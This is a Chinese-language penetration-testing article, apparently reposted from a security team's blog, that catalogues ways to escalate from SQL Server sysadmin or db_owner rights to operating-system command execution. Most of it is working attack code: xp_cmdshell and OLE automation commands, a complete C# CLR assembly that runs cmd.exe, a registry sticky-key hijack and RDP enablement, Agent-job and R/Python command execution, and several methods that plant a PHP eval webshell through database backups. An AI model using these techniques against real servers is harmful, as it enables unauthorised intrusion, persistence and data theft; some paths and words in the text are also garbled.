前沿拓展:
聲明:本人所分享內(nèi)容僅用于網(wǎng)安愛好者之間的技術(shù)討論,禁止用于違法途徑,所有滲透都需獲取授權(quán)!否則需自行承擔(dān),本人及原作者不承擔(dān)相應(yīng)的后果!
1.sqlserver的角色及權(quán)限
sqlserver的角色分為兩種:服務(wù)器角色和數(shù)據(jù)庫角色
(1)判斷是否是sysadmin(dba權(quán)限),執(zhí)行select is_srvrolemember('sysadmin')
(2)判斷是否是db_owner(dbo權(quán)限),執(zhí)行select is_member('db_owner')
(3)判斷是否是public(普通權(quán)限),執(zhí)行select is_srvrolemember('public')/select is_member('public')
2.最新版sqlserver提權(quán)測試(sqlserver2019)
文章測試均在sqlserver2019+win server2019中**作。經(jīng)過測試sqlserver 2019默認(rèn)安裝,使用dba權(quán)限執(zhí)行whoami不是system權(quán)限,這是因?yàn)槟J(rèn)安裝的sqlserver服務(wù)不是用系統(tǒng)賬戶啟動的。
如果安裝時(shí)或在服務(wù)中更改為本地系統(tǒng)賬戶,執(zhí)行命令為system權(quán)限,可以創(chuàng)建用戶提權(quán)。
3.xp_cmdshell(dba權(quán)限)
xp_cmdshell在低版本中默認(rèn)開啟,由于存在安全隱患,在sqlserver2005以后,xp_cmdshell默認(rèn)關(guān)閉。利用xp_cmdshell執(zhí)行系統(tǒng)命令
— 判斷xp_cmdshell是否存在,返回1證明存在xp_cmdshell
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
— 開啟xp_cmdshell
EXEC sp_configure 'show a**anced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
— 關(guān)閉xp_cmdshell
EXEC sp_configure 'show a**anced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
— 執(zhí)行系統(tǒng)命令,sqlserver2019被降權(quán)為mssql權(quán)限
exec master..xp_cmdshell 'xxx'
4.sp_oacreate+sp_oamethod(dba權(quán)限)
在xp_cmdshell被刪除或不能利用是可以考慮利用sp_oacreate,利用前提需要sqlserver sysadmin賬戶服務(wù)器權(quán)限為system(sqlserver2019默認(rèn)被降權(quán)為mssql)。sp_oacreate 是一個(gè)存儲過程,可以刪除、**、移動文件。還能配合 sp_oamethod 來寫文件執(zhí)行系統(tǒng)命令。
— 判斷sp_oacreate是否存在,返回1證明存在sp_oacreate
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
— 開啟
exec sp_configure 'show a**anced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
— 關(guān)閉
exec sp_configure 'show a**anced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
— 執(zhí)行系統(tǒng)命令
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami'
直接執(zhí)行命令成功后無回顯。
— 回顯執(zhí)行系統(tǒng)命令結(jié)果
declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'C:\Windows\System32\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
5.沙盒提權(quán)(dba權(quán)限)
沙盒模式是數(shù)據(jù)庫的一種安全功能。在沙盒模式下,只對控件和字段屬性中的安全且不含惡意代碼的表達(dá)式求值。如果表達(dá)式不使用可能以某種方式損壞數(shù)據(jù)的函數(shù)或?qū)傩?,則可認(rèn)為它是安全的。利用前提需要sqlserver sysadmin賬戶服務(wù)器權(quán)限為system(sqlserver2019默認(rèn)被降權(quán)為mssql),服務(wù)器擁有 jet.oledb.4.0 驅(qū)動。局限:(1)Microsoft.jet.oledb.4.0一般在32位**作系統(tǒng)上才可以 (2)Windows 2008以上 默認(rèn)無 Access 數(shù)據(jù)庫文件, 需要自己上傳 sqlserver2015默認(rèn)禁用Ad Hoc Distributed Queries,需要開啟。
— 開啟Ad Hoc Distributed Queries
exec sp_configure 'show a**anced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
— 關(guān)閉Ad Hoc Distributed Queries
exec sp_configure 'show a**anced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
— 關(guān)閉沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;
— 恢復(fù)默認(rèn)沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2;
沙盒模式SandBoxMode參數(shù)含義(默認(rèn)是2)
0:在任何所有者中禁止啟用安全模式
1:為僅在允許范圍內(nèi)
2:必須在access模式下
3:完全開啟– 查看沙盒模式
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
— 執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')6.CLR(dba權(quán)限)
Microsoft SQL Server 2005之后,實(shí)現(xiàn)了對 Microsoft .NET Framework 的公共語言運(yùn)行時(shí)(CLR)的集成。CLR 集成使得現(xiàn)在可以使用 .NET Framework 語言編寫代碼,從而能夠在 SQL Server 上運(yùn)行,現(xiàn)在就可以通過 C# 來編寫 SQL Server 自定義函數(shù)、存儲過程、觸發(fā)器等。
— 開啟CLR
exec sp_configure 'show a**anced options',1;RECONFIGURE;
exec sp_configure 'clr enabled',1;RECONFIGURE;
— 關(guān)閉CLR
exec sp_configure 'show a**anced options',1;RECONFIGURE;
exec sp_configure 'clr enabled',0;RECONFIGURE;
— 當(dāng)導(dǎo)入了不安全的程序集之后,需將數(shù)據(jù)庫標(biāo)記為可信任的
ALTER DATABASE master SET TRUSTWORTHY ON;
做完上述準(zhǔn)備之后需要編寫一個(gè)CLR,第一在本地visual studio中創(chuàng)建一個(gè) SQL Server數(shù)據(jù)庫項(xiàng)目
第二,在項(xiàng)目中添加一個(gè)存儲過程
寫入以下代碼,右鍵生成,會在vs的工作目錄項(xiàng)目名稱Database1binDebug下生成四個(gè)文件
using System;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void CmdExec (String cmd)
{
// Put your code here
SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd));
}
public static string Command(string filename, string arguments)
{
var process = new Process();
process.StartInfo.FileName = filename;
if (!string.IsNullOrEmpty(arguments))
{
process.StartInfo.Arguments = arguments;
}
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.RedirectStandardOutput = true;
var stdOutput = new StringBuilder();
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
string stdError = null;
try
{
process.Start();
process.BeginOutputReadLine();
stdError = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception e)
{
SqlContext.Pipe.Send(e.Message);
}
if (process.ExitCode == 0)
{
SqlContext.Pipe.Send(stdOutput.ToString());
}
else
{
var message = new StringBuilder();
if (!string.IsNullOrEmpty(stdError))
{
message.AppendLine(stdError);
}
if (stdOutput.Length != 0)
{
message.AppendLine(stdOutput.ToString());
}
SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
}
return stdOutput.ToString();
}
}
之后需要將dll文件注冊進(jìn)sqlserver,這里有三種方法注冊 (1)采用16進(jìn)制的方式,無文件落地
CREATE ASSEMBLY sp_cmdExec
FROM 0x — 這里寫.sql文件里的
WITH PERMISSION_SET = UNSAFE
(2)將dll文件上傳到目標(biāo)機(jī)器上進(jìn)行注冊
CREATE ASSEMBLY sp_cmdExec
FROM 'C:UsersAdministratorDesktopDatabase1.dll' — 這里寫上傳dll文件的路徑
WITH PERMISSION_SET = UNSAFE
(3)通過 S**S注冊dll
注冊完成后,創(chuàng)建存儲過程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec
— 執(zhí)行系統(tǒng)命令
EXEC sp_cmdExec 'whoami';
刪除存儲過程和程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY sp_cmdExec;
7.xp_regwrite映像劫持(dba權(quán)限)
xp_regread 與 xp_regwrite兩個(gè)存儲過程腳本可以直接讀取與寫入注冊表,利用regwrite函數(shù)修改注冊表,起到劫持作用。利用前提sqlserver系統(tǒng)權(quán)限可以修改注冊表。
— 判斷xp_rewrite是否存在,返回1證明存在xp_regwrite
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
— 開啟
EXEC sp_configure 'show a**anced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',1;RECONFIGURE
— 關(guān)閉
EXEC sp_configure 'show a**anced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',0;RECONFIGURE
修改注冊表來劫持粘滯鍵,將粘滯鍵修改為打開cmd 在sqlserver2019+winserver2019中測試,win defender和火絨均會攔截
— 劫持注冊表
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'
— 查看是否劫持成功
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'
劫持成功后連按5次shift會彈出cmd(win defender會攔截彈出的cmd并刪除已經(jīng)劫持的注冊表) 還可以修改注冊表來開啟3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;8.SQL Server Agent Job(dba權(quán)限)
SQL Server **是一項(xiàng) Microsoft Windows 服務(wù),它執(zhí)行計(jì)劃的管理任務(wù),這些任務(wù)在 SQL Server 中稱為作業(yè)。
— 啟動sqlagent
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
利用任務(wù)計(jì)劃命令執(zhí)行,創(chuàng)建任務(wù) test并執(zhí)行命令,將結(jié)果寫入1.txt
— 執(zhí)行命令
use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/1.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';
命令執(zhí)行成功后沒有回顯,可以把1.txt寫到表中,再查詢表中內(nèi)容獲取命令回顯。
— 查看命令結(jié)果
Use model;
bulk insert readfile from 'C:1.txt'
select * from readfile
9.R和python(dbo/dba權(quán)限)
在 SQL Server 2017 及更高版本中,R 與 Python 一起隨附在機(jī)器學(xué)習(xí)服務(wù)中。該服務(wù)允許通過 SQL Server 中 sp_execute_external_script 執(zhí)行 Python 和 R 腳本。利用前提sqlserver系統(tǒng)權(quán)限可以執(zhí)行外部腳本
— 開啟和關(guān)閉需要dba權(quán)限
— 開啟
EXEC sp_configure 'external scripts enabled',1;RECONFIGURE
— 關(guān)閉
EXEC sp_configure 'external scripts enabled',0;RECONFIGURE
— dbo和dba權(quán)限均可執(zhí)行命令
— 利用R執(zhí)行命令
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
–利用python執(zhí)行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
10.差異備份寫webshell(dbo權(quán)限)
dbo和dba都有備份數(shù)據(jù)庫權(quán)限,我們可以把數(shù)據(jù)庫備份成可執(zhí)行腳本文件放到web目錄里,獲得 webshell。利用前提,知道網(wǎng)站絕對路徑且路徑可寫
— 生成備份文件
backup database test to disk = 'C:phpstudy_proWWW1.bak';
— 創(chuàng)建表并寫入一句話木馬
create table test([cmd][image]);
Insert into test(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e);
— 將數(shù)據(jù)庫進(jìn)行差異備份
backup database test to disk='C:phpstudy_proWWWshell.php' WITH DIFFERENTIAL,FORMAT;
蟻劍直接連接生成的shell.php
dbo和dba都有備份數(shù)據(jù)庫權(quán)限,我們可以把數(shù)據(jù)庫備份成可執(zhí)行腳本文件放到web目錄里,獲得 webshell。利用前提(1)知道網(wǎng)站絕對路徑且路徑可寫(2)利用數(shù)據(jù)庫必須存在備份文件
alter database test set RECOVERY FULL — 將數(shù)據(jù)庫修改為完整模式
create table cmd (a image) — 新建表
backup log test to disk = 'c:phpstudy_prowww2.bak' with init — 備份表
insert into cmd (a) values (0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e) — 將一句話木馬寫入表中
backup log test to disk = 'c:phpstudy_prowww2.php' — 備份**作日志到指定腳本文件
蟻劍直接連接生成的2.php
12.sp_oacreate+sp_oamethod寫webshell(dba權(quán)限)
在sqlserver2019+win server2019中測試,win defender會報(bào)毒并刪除一句話木馬。
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:phpstudy_prowww1.php', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<?php @eval($_REQUEST["a"]);?>'
13.不支持堆疊的情況下執(zhí)行系統(tǒng)命令select 1 where 1=1 if 1=1 execute('exec sp_configure ''show a**anced options'', 1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell ''whoami''');
14.參考
https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247489236&idx=1&sn=2a40726e77cc142ff060c222588da630
http://tttang.com/archive/1545/#toc_0x06-sp_oacreate-ole-automation-procedures https://blog.51cto.com/u_15127627/4024124
文章來源:TIDE安全團(tuán)隊(duì)
拓展知識:
原創(chuàng)文章,作者:九賢生活小編,如若轉(zhuǎn)載,請注明出處:http://xiesong.cn/111092.html